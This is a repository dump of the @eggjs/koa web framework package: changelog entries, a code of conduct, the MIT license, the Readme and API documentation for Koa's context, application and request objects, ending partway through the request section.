https://github.com/koajs/koa/pull/614\n  * deprecate `app.experimental = true`. Koa v2 does not use this signature.\n  * add a code of conduct\n  * test against the latest version of node\n  * add a lot of docs\n\n1.1.2 / 2015-11-05\n==================\n\n  * ensure parseurl always working as expected\n  * fix Application.inspect() – missing .proxy value.\n\n2.0.0-alpha.3 / 2015-11-05\n==================\n\n  * ensure parseurl always working as expected. #586\n  * fix Application.inspect() – missing .proxy value. Closes #563\n\n2.0.0-alpha.2 / 2015-10-27\n==================\n\n * remove `co` and generator support completely\n * improved documentation\n * more refactoring into ES6\n\n2.0.0-alpha.1 / 2015-10-22\n==================\n\n * change the middleware signature to `async (ctx, next) => await next()`\n * drop node < 4 support and rewrite the codebase in ES6\n\n1.1.1 / 2015-10-22\n==================\n\n * do not send a content-type when the type is unknown #536\n\n1.1.0 / 2015-10-11\n==================\n\n * add `app.silent=<Boolean>` to toggle error logging @tejasmanohar #486\n * add `ctx.origin` @chentsulin #480\n * various refactoring\n   - add `use strict` everywhere\n\n1.0.0 / 2015-08-22\n==================\n\n * add `this.req` check for `querystring()`\n * don't log errors with `err.expose`\n * `koa` now follows semver!\n\n0.21.0 / 2015-05-23\n==================\n\n * empty `request.query` objects are now always the same instance\n * bump `fresh@0.3.0`\n\n0.20.0 / 2015-04-30\n==================\n\nBreaking change if you're using `this.get('ua') === undefined` etc.\nFor more details please checkout [#438](https://github.com/koajs/koa/pull/438).\n\n  * make sure helpers return strict string\n  * feat: alias response.headers to response.header\n\n0.19.1 / 2015-04-14\n==================\n\n  * non-error thrown, fixed #432\n\n0.19.0 / 2015-04-05\n==================\n\n * `req.host` and `req.hostname` now always return a string (semi-breaking change)\n * improved test coverage\n\n0.18.1 / 2015-03-01\n==================\n\n * move babel to `devDependencies`\n\n0.18.0 / 2015-02-14\n==================\n\n * experimental es7 async function support via `app.experimental = true`\n * use `content-type` instead of `media-typer`\n\n0.17.0 / 2015-02-05\n==================\n\nBreaking change if you're using an old version of node v0.11!\nOtherwise, you should have no trouble upgrading.\n\n * official iojs support\n * drop support for node.js `>= 0.11.0 < 0.11.16`\n * use `Object.setPrototypeOf()` instead of `__proto__`\n * update dependencies\n\n0.16.0 / 2015-01-27\n==================\n\n * add `res.append()`\n * fix path usage for node@0.11.15\n\n0.15.0 / 2015-01-18\n==================\n\n * add `this.href`\n\n0.14.0 / 2014-12-15\n==================\n\n * remove `x-powered-by` response header\n * fix the content type on plain-text redirects\n * add ctx.state\n * bump `co@4`\n * bump dependencies\n\n0.13.0 / 2014-10-17\n==================\n\n * add this.message\n * custom status support via `statuses`\n\n0.12.2 / 2014-09-28\n==================\n\n * use wider semver ranges for dependencies koa maintainers also maintain\n\n0.12.1 / 2014-09-21\n==================\n\n * bump content-disposition\n * bump statuses\n\n0.12.0 / 2014-09-20\n==================\n\n * add this.assert()\n * use content-disposition\n\n0.11.0 / 2014-09-08\n==================\n\n * fix app.use() assertion #337\n * bump a lot of dependencies\n\n0.10.0 / 2014-08-12\n==================\n\n * add `ctx.throw(err, object)` support\n * add `ctx.throw(err, status, object)` support\n\n0.9.0 / 2014-08-07\n==================\n\n * add: do not set `err.expose` to true when err.status not a valid http status code\n * add: alias `request.headers` as `request.header`\n * add context.inspect(), cleanup app.inspect()\n * update cookies\n * fix `err.status` invalid lead to uncaughtException\n * fix middleware gif, close #322\n\n0.8.2 / 2014-07-27\n==================\n\n * bump co\n * bump parseurl\n\n0.8.1 / 2014-06-24\n==================\n\n * bump type-is\n\n0.8.0 / 2014-06-13\n==================\n\n * add `this.response.is()``\n * remove `.status=string` and `res.statusString` #298\n\n0.7.0 / 2014-06-07\n==================\n\n * add `this.lastModified` and `this.etag` as both getters and setters for ubiquity #292.\n   See koajs/koa@4065bf7 for an explanation.\n * refactor `this.response.vary()` to use [vary](https://github.com/expressjs/vary) #291\n * remove `this.response.append()` #291\n\n0.6.3 / 2014-06-06\n==================\n\n * fix res.type= when the extension is unknown\n * assert when non-error is passed to app.onerror #287\n * bump finished\n\n0.6.2 / 2014-06-03\n==================\n\n * switch from set-type to mime-types\n\n0.6.1 / 2014-05-11\n==================\n\n * bump type-is\n * bump koa-compose\n\n0.6.0 / 2014-05-01\n==================\n\n * add nicer error formatting\n * add: assert object type in ctx.onerror\n * change .status default to 404. Closes #263\n * remove .outputErrors, suppress output when handled by the dev. Closes #272\n * fix content-length when body is re-assigned. Closes #267\n\n0.5.5 / 2014-04-14\n==================\n\n * fix length when .body is missing\n * fix: make sure all intermediate stream bodies will be destroyed\n\n0.5.4 / 2014-04-12\n==================\n\n * fix header stripping in a few cases\n\n0.5.3 / 2014-04-09\n==================\n\n * change res.type= to always default charset. Closes #252\n * remove ctx.inspect() implementation. Closes #164\n\n0.5.2 / 2014-03-23\n==================\n\n * fix: inspection of `app` and `app.toJSON()`\n * fix: let `this.throw`n errors provide their own status\n * fix: overwriting of `content-type` w/ `HEAD` requests\n * refactor: use statuses\n * refactor: use escape-html\n * bump dev deps\n\n0.5.1 / 2014-03-06\n==================\n\n * add request.hostname(getter). Closes #224\n * remove response.charset and ctx.charset (too confusing in relation to ctx.type) [breaking change]\n * fix a debug() name\n\n0.5.0 / 2014-02-19\n==================\n\n * add context.charset\n * add context.charset=\n * add request.charset\n * add response.charset\n * add response.charset=\n * fix response.body= html content sniffing\n * change ctx.length and ctx.type to always delegate to response object [breaking change]\n\n0.4.0 / 2014-02-11\n==================\n\n * remove app.jsonSpaces settings - moved to [koa-json](https://github.com/koajs/json)\n * add this.response=false to bypass koa's response handling\n * fix response handling after body has been sent\n * changed ctx.throw() to no longer .expose 5xx errors\n * remove app.keys getter/setter, update cookies, and remove keygrip deps\n * update fresh\n * update koa-compose\n\n0.3.0 / 2014-01-17\n==================\n\n * add ctx.host= delegate\n * add req.host=\n * add: context.throw supports Error instances\n * update co\n * update cookies\n\n0.2.1 / 2013-12-30\n==================\n\n * add better 404 handling\n * add check for fn._name in debug() output\n * add explicit .toJSON() calls to ctx.toJSON()\n\n0.2.0 / 2013-12-28\n==================\n\n * add support for .throw(status, msg). Closes #130\n * add GeneratorFunction assertion for app.use(). Closes #120\n * refactor: move `.is()` to `type-is`\n * refactor: move content negotiation to \"accepts\"\n * refactor: allow any streams with .pipe method\n * remove `next` in callback for now\n\n0.1.2 / 2013-12-21\n==================\n\n * update co, koa-compose, keygrip\n * use on-socket-error\n * add throw(status, msg) support\n * assert middleware is GeneratorFunction\n * ducktype stream checks\n * remove `next` is `app.callback()`\n\n0.1.1 / 2013-12-19\n==================\n\n * fix: cleanup socker error handler on response\n"
  },
  {
    "path": "packages/koa/CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, gender identity and expression, level of experience,\nnationality, personal appearance, race, religion, or sexual identity and\norientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n- Using welcoming and inclusive language\n- Being respectful of differing viewpoints and experiences\n- Gracefully accepting constructive criticism\n- Focusing on what is best for the community\n- Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n- The use of sexualized language or imagery and unwelcome sexual attention or\n  advances\n- Trolling, insulting/derogatory comments, and personal or political attacks\n- Public or private harassment\n- Publishing others' private information, such as a physical or electronic\n  address, without explicit permission\n- Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at tj@tjholowaychuk.com. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at [http://contributor-covenant.org/version/1/4][version]\n\n[homepage]: http://contributor-covenant.org\n[version]: http://contributor-covenant.org/version/1/4/\n"
  },
  {
    "path": "packages/koa/LICENSE",
    "content": "(The MIT License)\n\nCopyright (c) 2019 Koa contributors\nCopyright (c) 2023-present EggJS contributors\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n'Software'), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "packages/koa/Readme.md",
    "content": "# @eggjs/koa\n\n@eggjs/koa is forked from [Koa v2.x](https://github.com/koajs/koa/tree/v2.x) for LTS and drop Node.js < 22.17.1 support.\n\n<img height=\"240px\" src=\"/docs/logo.png\" alt=\"Koa middleware framework for nodejs\"/>\n\n[![NPM version](https://img.shields.io/npm/v/@eggjs/koa.svg?style=flat-square)](https://npmjs.org/package/@eggjs/koa)\n[![NPM download](https://img.shields.io/npm/dm/@eggjs/koa.svg?style=flat-square)](https://npmjs.org/package/@eggjs/koa)\n[![Known Vulnerabilities](https://snyk.io/test/npm/@eggjs/koa/badge.svg?style=flat-square)](https://snyk.io/test/npm/@eggjs/koa)\n\nExpressive HTTP middleware framework for node.js to make web applications and APIs more enjoyable to write. Koa's middleware stack flows in a stack-like manner, allowing you to perform actions downstream then filter and manipulate the response upstream.\n\nOnly methods that are common to nearly all HTTP servers are integrated directly into Koa's small codebase.\nThis includes things like content negotiation, normalization of node inconsistencies, redirection, and a few others.\n\nKoa is not bundled with any middleware.\n\n## Installation\n\n@eggjs/koa@3 requires **node v22.18.0** or higher for Node.js LTS support.\n\n```bash\nnpm install @eggjs/koa\n```\n\n## Hello Koa\n\n```ts\nimport { Application } from '@eggjs/koa';\n\nconst app = new Application();\n\n// response\napp.use(ctx => {\n  ctx.body = 'Hello Koa';\n});\n\napp.listen(3000);\n```\n\n## Getting started\n\n- [Kick-Off-Koa](https://github.com/koajs/kick-off-koa) - An intro to Koa via a set of self-guided workshops.\n- [Workshop](https://github.com/koajs/workshop) - A workshop to learn the basics of Koa, Express' spiritual successor.\n- [Introduction Screencast](https://knowthen.com/episode-3-koajs-quickstart-guide/) - An introduction to installing and getting started with Koa\n\n## Middleware\n\nKoa is a middleware framework that can take two different kinds of functions as middleware:\n\n- async function\n- common function\n\nHere is an example of logger middleware with each of the different functions:\n\n### **_async_** functions\n\n```ts\napp.use(async (ctx, next) => {\n  const start = Date.now();\n  await next();\n  const ms = Date.now() - start;\n  console.log(`${ctx.method} ${ctx.url} - ${ms}ms`);\n});\n```\n\n### Common function\n\n```ts\n// Middleware normally takes two parameters (ctx, next), ctx is the context for one request,\n// next is a function that is invoked to execute the downstream middleware. It returns a Promise with a then function for running code after completion.\n\napp.use((ctx, next) => {\n  const start = Date.now();\n  return next().then(() => {\n    const ms = Date.now() - start;\n    console.log(`${ctx.method} ${ctx.url} - ${ms}ms`);\n  });\n});\n```\n\n## Context, Request and Response\n\nEach middleware receives a Koa `Context` object that encapsulates an incoming\nhttp message and the corresponding response to that message. `ctx` is often used\nas the parameter name for the context object.\n\n```ts\napp.use(async (ctx, next) => {\n  await next();\n});\n```\n\nKoa provides a `Request` object as the `request` property of the `Context`.  \nKoa's `Request` object provides helpful methods for working with\nhttp requests which delegate to an [IncomingMessage](https://nodejs.org/api/http.html#http_class_http_incomingmessage)\nfrom the node `http` module.\n\nHere is an example of checking that a requesting client supports xml.\n\n```ts\napp.use(async (ctx, next) => {\n  ctx.assert(ctx.request.accepts('xml'), 406);\n  // equivalent to:\n  // if (!ctx.request.accepts('xml')) ctx.throw(406);\n  await next();\n});\n```\n\nKoa provides a `Response` object as the `response` property of the `Context`.  \nKoa's `Response` object provides helpful methods for working with\nhttp responses which delegate to a [ServerResponse](https://nodejs.org/api/http.html#http_class_http_serverresponse)\n.\n\nKoa's pattern of delegating to Node's request and response objects rather than extending them\nprovides a cleaner interface and reduces conflicts between different middleware and with Node\nitself as well as providing better support for stream handling. The `IncomingMessage` can still be\ndirectly accessed as the `req` property on the `Context` and `ServerResponse` can be directly\naccessed as the `res` property on the `Context`.\n\nHere is an example using Koa's `Response` object to stream a file as the response body.\n\n```ts\napp.use(async (ctx, next) => {\n  await next();\n  ctx.response.type = 'xml';\n  ctx.response.body = fs.createReadStream('really_large.xml');\n});\n```\n\nThe `Context` object also provides shortcuts for methods on its `request` and `response`. In the prior\nexamples, `ctx.type` can be used instead of `ctx.response.type` and `ctx.accepts` can be used\ninstead of `ctx.request.accepts`.\n\nFor more information on `Request`, `Response` and `Context`, see the [Request API Reference](docs/api/request.md),\n[Response API Reference](docs/api/response.md) and [Context API Reference](docs/api/context.md).\n\n## Koa Application\n\nThe object created when executing `new Koa()` is known as the Koa application object.\n\nThe application object is Koa's interface with node's http server and handles the registration\nof middleware, dispatching to the middleware from http, default error handling, as well as\nconfiguration of the context, request and response objects.\n\nLearn more about the application object in the [Application API Reference](docs/api/index.md).\n\n## Documentation\n\n- [Usage Guide](docs/guide.md)\n- [Error Handling](docs/error-handling.md)\n- [Koa for Express Users](docs/koa-vs-express.md)\n- [FAQ](docs/faq.md)\n- [API documentation](docs/api/index.md)\n\n## Troubleshooting\n\nCheck the [Troubleshooting Guide](docs/troubleshooting.md) or [Debugging Koa](docs/guide.md#debugging-koa) in\nthe general Koa guide.\n\n## Running tests\n\n```bash\nnpm test\n```\n\n## Reporting vulnerabilities\n\nTo report a security vulnerability, please do not open an issue, as this notifies attackers of the vulnerability. Instead, please email [fengmk2](mailto:fengmk2+eggjs@gmail.com) to disclose.\n\n## Community\n\n- [Examples](https://github.com/koajs/examples)\n- [Middleware](https://github.com/koajs/koa/wiki) list\n- [Wiki](https://github.com/koajs/koa/wiki)\n- [中文文档 v2.x](https://github.com/demopark/koa-docs-Zh-CN)\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/koa/docs/api/context.md",
    "content": "# Context\n\nA Koa Context encapsulates node's `request` and `response` objects\ninto a single object which provides many helpful methods for writing\nweb applications and APIs.\nThese operations are used so frequently in HTTP server development\nthat they are added at this level instead of a higher level framework,\nwhich would force middleware to re-implement this common functionality.\n\nA `Context` is created _per_ request, and is referenced in middleware\nas the receiver, or the `ctx` identifier, as shown in the following\nsnippet:\n\n```js\napp.use(async ctx => {\n  ctx; // is the Context\n  ctx.request; // is a Koa Request\n  ctx.response; // is a Koa Response\n});\n```\n\nMany of the context's accessors and methods simply delegate to their `ctx.request` or `ctx.response`\nequivalents for convenience, and are otherwise identical. For example `ctx.type` and `ctx.length`\ndelegate to the `response` object, and `ctx.path` and `ctx.method` delegate to the `request`.\n\n## API\n\n`Context` specific methods and accessors.\n\n### ctx.req\n\nNode's `request` object.\n\n### ctx.res\n\nNode's `response` object.\n\nBypassing Koa's response handling is **not supported**. Avoid using the following node properties:\n\n- `res.statusCode`\n- `res.writeHead()`\n- `res.write()`\n- `res.end()`\n\n### ctx.request\n\nA Koa `Request` object.\n\n### ctx.response\n\nA Koa `Response` object.\n\n### ctx.state\n\nThe recommended namespace for passing information through middleware and to your frontend views.\n\n```js\nctx.state.user = await User.find(id);\n```\n\n### ctx.app\n\nApplication instance reference.\n\n### ctx.app.emit\n\nKoa applications extend an internal [EventEmitter](https://nodejs.org/dist/latest-v11.x/docs/api/events.html). `ctx.app.emit` emits an event with a type, defined by the first argument. For each event you can hook up \"listeners\", which is a function that is called when the event is emitted. Consult the [error handling docs](https://koajs.com/#error-handling) for more information.\n\n### ctx.cookies.get(name, [options])\n\nGet cookie `name` with `options`:\n\n- `signed` the cookie requested should be signed\n\nKoa uses the [cookies](https://github.com/pillarjs/cookies) module where options are simply passed.\n\n### ctx.cookies.set(name, value, [options])\n\nSet cookie `name` to `value` with `options`:\n\n- `maxAge`: a number representing the milliseconds from `Date.now()` for expiry.\n- `expires`: a `Date` object indicating the cookie's expiration date (expires at the end of session by default).\n- `path`: a string indicating the path of the cookie (`/` by default).\n- `domain`: a string indicating the domain of the cookie (no default).\n- `secure`: a boolean indicating whether the cookie is only to be sent over HTTPS (`false` by default for HTTP, `true` by default for HTTPS). [Read more about this option](https://github.com/pillarjs/cookies#secure-cookies).\n- `httpOnly`: a boolean indicating whether the cookie is only to be sent over HTTP(S), and not made available to client JavaScript (`true` by default).\n- `sameSite`: a boolean or string indicating whether the cookie is a \"same site\" cookie (`false` by default). This can be set to `'strict'`, `'lax'`, `'none'`, or `true` (which maps to `'strict'`).\n- `signed`: a boolean indicating whether the cookie is to be signed (`false` by default). If this is true, another cookie of the same name with the `.sig` suffix appended will also be sent, with a 27-byte url-safe base64 SHA1 value representing the hash of _cookie-name_=_cookie-value_ against the first [Keygrip](https://www.npmjs.com/package/keygrip) key. This signature key is used to detect tampering the next time a cookie is received.\n- `overwrite`: a boolean indicating whether to overwrite previously set cookies of the same name (`false` by default). If this is true, all cookies set during the same request with the same name (regardless of path or domain) are filtered out of the Set-Cookie header when setting this cookie.\n\nKoa uses the [cookies](https://github.com/pillarjs/cookies) module where options are simply passed.\n\n### ctx.throw([status], [msg], [properties])\n\nHelper method to throw an error with a `.status` property\ndefaulting to `500` that will allow Koa to respond appropriately.\nThe following combinations are allowed:\n\n```js\nctx.throw(400);\nctx.throw(400, 'name required');\nctx.throw(400, 'name required', { user: user });\n```\n\nFor example `ctx.throw(400, 'name required')` is equivalent to:\n\n```js\nconst err = new Error('name required');\nerr.status = 400;\nerr.expose = true;\nthrow err;\n```\n\nNote that these are user-level errors and are flagged with\n`err.expose` meaning the messages are appropriate for\nclient responses, which is typically not the case for\nerror messages since you do not want to leak failure\ndetails.\n\nYou may optionally pass a `properties` object which is merged into the error as-is, useful for decorating machine-friendly errors which are reported to the requester upstream.\n\n```js\nctx.throw(401, 'access_denied', { user: user });\n```\n\nKoa uses [http-errors](https://github.com/jshttp/http-errors) to create errors. `status` should only be passed as the first parameter.\n\n### ctx.assert(value, [status], [msg], [properties])\n\nHelper method to throw an error similar to `.throw()`\nwhen `!value`. Similar to node's [assert()](http://nodejs.org/api/assert.html)\nmethod.\n\n```js\nctx.assert(ctx.state.user, 401, 'User not found. Please login!');\n```\n\n### ctx.respond\n\nTo bypass Koa's built-in response handling, you may explicitly set `ctx.respond = false;`. Use this if you want to write to the raw `res` object instead of letting Koa handle the response for you.\n\nNote that using this is **not** supported by Koa. This may break intended functionality of Koa middleware and Koa itself. Using this property is considered a hack and is only a convenience to those wishing to use traditional `fn(req, res)` functions and middleware within Koa.\n\n## Request aliases\n\nThe following accessors and alias [Request](request.md) equivalents:\n\n- `ctx.header`\n- `ctx.headers`\n- `ctx.method`\n- `ctx.method=`\n- `ctx.url`\n- `ctx.url=`\n- `ctx.originalUrl`\n- `ctx.origin`\n- `ctx.href`\n- `ctx.path`\n- `ctx.path=`\n- `ctx.query`\n- `ctx.query=`\n- `ctx.querystring`\n- `ctx.querystring=`\n- `ctx.host`\n- `ctx.hostname`\n- `ctx.fresh`\n- `ctx.stale`\n- `ctx.socket`\n- `ctx.protocol`\n- `ctx.secure`\n- `ctx.ip`\n- `ctx.ips`\n- `ctx.subdomains`\n- `ctx.is()`\n- `ctx.accepts()`\n- `ctx.acceptsEncodings()`\n- `ctx.acceptsCharsets()`\n- `ctx.acceptsLanguages()`\n- `ctx.get()`\n\n## Response aliases\n\nThe following accessors and alias [Response](response.md) equivalents:\n\n- `ctx.body`\n- `ctx.body=`\n- `ctx.status`\n- `ctx.status=`\n- `ctx.message`\n- `ctx.message=`\n- `ctx.length=`\n- `ctx.length`\n- `ctx.type=`\n- `ctx.type`\n- `ctx.headerSent`\n- `ctx.redirect()`\n- `ctx.attachment()`\n- `ctx.set()`\n- `ctx.append()`\n- `ctx.remove()`\n- `ctx.lastModified=`\n- `ctx.etag=`\n"
  },
  {
    "path": "packages/koa/docs/api/index.md",
    "content": "# Installation\n\nKoa requires **node v7.6.0** or higher for ES2015 and async function support.\n\nYou can quickly install a supported version of node with your favorite version manager:\n\n```bash\n$ nvm install 7\n$ npm i koa\n$ node my-koa-app.js\n```\n\n# Application\n\nA Koa application is an object containing an array of middleware functions\nwhich are composed and executed in a stack-like manner upon request. Koa is similar to many\nother middleware systems that you may have encountered such as Ruby's Rack, Connect, and so on -\nhowever a key design decision was made to provide high level \"sugar\" at the otherwise low-level\nmiddleware layer. This improves interoperability, robustness, and makes writing middleware much\nmore enjoyable.\n\nThis includes methods for common tasks like content-negotiation, cache freshness, proxy support, and redirection\namong others. Despite supplying a reasonably large number of helpful methods Koa maintains a small footprint, as\nno middleware are bundled.\n\nThe obligatory hello world application:\n\n<!-- runkit:endpoint -->\n\n```js\nconst Koa = require('koa');\nconst app = new Koa();\n\napp.use(async ctx => {\n  ctx.body = 'Hello World';\n});\n\napp.listen(3000);\n```\n\n## Cascading\n\nKoa middleware cascade in a more traditional way as you may be used to with similar tools -\nthis was previously difficult to make user friendly with node's use of callbacks.\nHowever with async functions we can achieve \"true\" middleware. Contrasting Connect's implementation which\nsimply passes control through series of functions until one returns, Koa invoke \"downstream\", then\ncontrol flows back \"upstream\".\n\nThe following example responds with \"Hello World\", however first the request flows through\nthe `x-response-time` and `logging` middleware to mark when the request started, then yields control through the response middleware. When a middleware invokes `next()`\nthe function suspends and passes control to the next middleware defined. After there are no more\nmiddleware to execute downstream, the stack will unwind and each middleware is resumed to perform\nits upstream behaviour.\n\n<!-- runkit:endpoint -->\n\n```js\nconst Koa = require('koa');\nconst app = new Koa();\n\n// logger\n\napp.use(async (ctx, next) => {\n  await next();\n  const rt = ctx.response.get('X-Response-Time');\n  console.log(`${ctx.method} ${ctx.url} - ${rt}`);\n});\n\n// x-response-time\n\napp.use(async (ctx, next) => {\n  const start = Date.now();\n  await next();\n  const ms = Date.now() - start;\n  ctx.set('X-Response-Time', `${ms}ms`);\n});\n\n// response\n\napp.use(async ctx => {\n  ctx.body = 'Hello World';\n});\n\napp.listen(3000);\n```\n\n## Settings\n\nApplication settings are properties on the `app` instance, currently\nthe following are supported:\n\n- `app.env` defaulting to the **NODE_ENV** or \"development\"\n- `app.keys` array of signed cookie keys\n- `app.proxy` when true proxy header fields will be trusted\n- `app.subdomainOffset` offset of `.subdomains` to ignore, default to 2\n- `app.proxyIpHeader` proxy ip header, default to `X-Forwarded-For`\n- `app.maxIpsCount` max ips read from proxy ip header, default to 0 (means infinity)\n\nYou can pass the settings to the constructor:\n\n```js\nconst Koa = require('koa');\nconst app = new Koa({ proxy: true });\n```\n\nor dynamically:\n\n```js\nconst Koa = require('koa');\nconst app = new Koa();\napp.proxy = true;\n```\n\n## app.listen(...)\n\nA Koa application is not a 1-to-1 representation of an HTTP server.\nOne or more Koa applications may be mounted together to form larger\napplications with a single HTTP server.\n\nCreate and return an HTTP server, passing the given arguments to\n`Server#listen()`. These arguments are documented on [nodejs.org](http://nodejs.org/api/http.html#http_server_listen_port_hostname_backlog_callback). The following is a useless Koa application bound to port `3000`:\n\n```js\nconst Koa = require('koa');\nconst app = new Koa();\napp.listen(3000);\n```\n\nThe `app.listen(...)` method is simply sugar for the following:\n\n```js\nconst http = require('http');\nconst Koa = require('koa');\nconst app = new Koa();\nhttp.createServer(app.callback()).listen(3000);\n```\n\nThis means you can spin up the same application as both HTTP and HTTPS\nor on multiple addresses:\n\n```js\nconst http = require('http');\nconst https = require('https');\nconst Koa = require('koa');\nconst app = new Koa();\nhttp.createServer(app.callback()).listen(3000);\nhttps.createServer(app.callback()).listen(3001);\n```\n\n## app.callback()\n\nReturn a callback function suitable for the `http.createServer()`\nmethod to handle a request.\nYou may also use this callback function to mount your Koa app in a\nConnect/Express app.\n\n## app.use(function)\n\nAdd the given middleware function to this application.\n`app.use()` returns `this`, so is chainable.\n\n```js\napp.use(someMiddleware);\napp.use(someOtherMiddleware);\napp.listen(3000);\n```\n\nIs the same as\n\n```js\napp.use(someMiddleware).use(someOtherMiddleware).listen(3000);\n```\n\nSee [Middleware](https://github.com/koajs/koa/wiki#middleware) for\nmore information.\n\n## app.keys=\n\nSet signed cookie keys.\n\nThese are passed to [KeyGrip](https://github.com/crypto-utils/keygrip),\nhowever you may also pass your own `KeyGrip` instance. For\nexample the following are acceptable:\n\n```js\napp.keys = [\n  'OEK5zjaAMPc3L6iK7PyUjCOziUH3rsrMKB9u8H07La1SkfwtuBoDnHaaPCkG5Brg',\n  'MNKeIebviQnCPo38ufHcSfw3FFv8EtnAe1xE02xkN1wkCV1B2z126U44yk2BQVK7',\n];\napp.keys = new KeyGrip(\n  [\n    'OEK5zjaAMPc3L6iK7PyUjCOziUH3rsrMKB9u8H07La1SkfwtuBoDnHaaPCkG5Brg',\n    'MNKeIebviQnCPo38ufHcSfw3FFv8EtnAe1xE02xkN1wkCV1B2z126U44yk2BQVK7',\n  ],\n  'sha256'\n);\n```\n\nFor security reasons, please ensure that the key is long enough and random.\n\nThese keys may be rotated and are used when signing cookies\nwith the `{ signed: true }` option:\n\n```js\nctx.cookies.set('name', 'tobi', { signed: true });\n```\n\n## app.context\n\n`app.context` is the prototype from which `ctx` is created.\nYou may add additional properties to `ctx` by editing `app.context`.\nThis is useful for adding properties or methods to `ctx` to be used across your entire app,\nwhich may be more performant (no middleware) and/or easier (fewer `require()`s)\nat the expense of relying more on `ctx`, which could be considered an anti-pattern.\n\nFor example, to add a reference to your database from `ctx`:\n\n```js\napp.context.db = db();\n\napp.use(async ctx => {\n  console.log(ctx.db);\n});\n```\n\nNote:\n\n- Many properties on `ctx` are defined using getters, setters, and `Object.defineProperty()`. You can only edit these properties (not recommended) by using `Object.defineProperty()` on `app.context`. See https://github.com/koajs/koa/issues/652.\n- Mounted apps currently use their parent's `ctx` and settings. Thus, mounted apps are really just groups of middleware.\n\n## Error Handling\n\nBy default outputs all errors to stderr unless `app.silent` is `true`.\nThe default error handler also won't output errors when `err.status` is `404` or `err.expose` is `true`.\nTo perform custom error-handling logic such as centralized logging you can add an \"error\" event listener:\n\n```js\napp.on('error', err => {\n  log.error('server error', err);\n});\n```\n\nIf an error is in the req/res cycle and it is _not_ possible to respond to the client, the `Context` instance is also passed:\n\n```js\napp.on('error', (err, ctx) => {\n  log.error('server error', err, ctx);\n});\n```\n\nWhen an error occurs _and_ it is still possible to respond to the client, aka no data has been written to the socket, Koa will respond\nappropriately with a 500 \"Internal Server Error\". In either case\nan app-level \"error\" is emitted for logging purposes.\n"
  },
  {
    "path": "packages/koa/docs/api/request.md",
    "content": "# Request\n\nA Koa `Request` object is an abstraction on top of node's vanilla request object,\nproviding additional functionality that is useful for every day HTTP server\ndevelopment.\n\n## API\n\n### request.header\n\nRequest header object. This is the same as the [`headers`](https://nodejs.org/api/http.html#http_message_headers) field\non node's [`http.IncomingMessage`](https://nodejs.org/api/http.html#http_class_http_incomingmessage).\n\n### request.header=\n\nSet request header object.\n\n### request.headers\n\nRequest header object. Alias as `request.header`.\n\n### request.headers=\n\nSet request header object. Alias as `request.header=`.\n\n### request.method\n\nRequest method.\n\n### request.method=\n\nSet request method, useful for implementing middleware\nsuch as `methodOverride()`.\n\n### request.length\n\nReturn request Content-Length as a number when present, or `undefined`.\n\n### request.url\n\nGet request URL.\n\n### request.url=\n\nSet request URL, useful for url rewrites.\n\n### request.originalUrl\n\nGet request original URL.\n\n### request.origin\n\nGet origin of URL, include `protocol` and `host`.\n\n```js\nctx.request.origin;\n// => http://example.com\n```\n\n### request.href\n\nGet full request URL, include `protocol`, `host` and `url`.\n\n```js\nctx.request.href;\n// => http://example.com/foo/bar?q=1\n```\n\n### request.path\n\nGet request pathname.\n\n### request.path=\n\nSet request pathname and retain query-string when present.\n\n### request.querystring\n\nGet raw query string void of `?`.\n\n### request.querystring=\n\nSet raw query string.\n\n### request.search\n\nGet raw query string with the `?`.\n\n### request.search=\n\nSet raw query string.\n\n### request.host\n\nGet host (hostname:port) when present. Supports `X-Forwarded-Host`\nwhen `app.proxy` is **true**, otherwise `Host` is used.\n\n### request.hostname\n\nGet hostname when present. Supports `X-Forwarded-Host`\nwhen `app.proxy` is **true**, otherwise 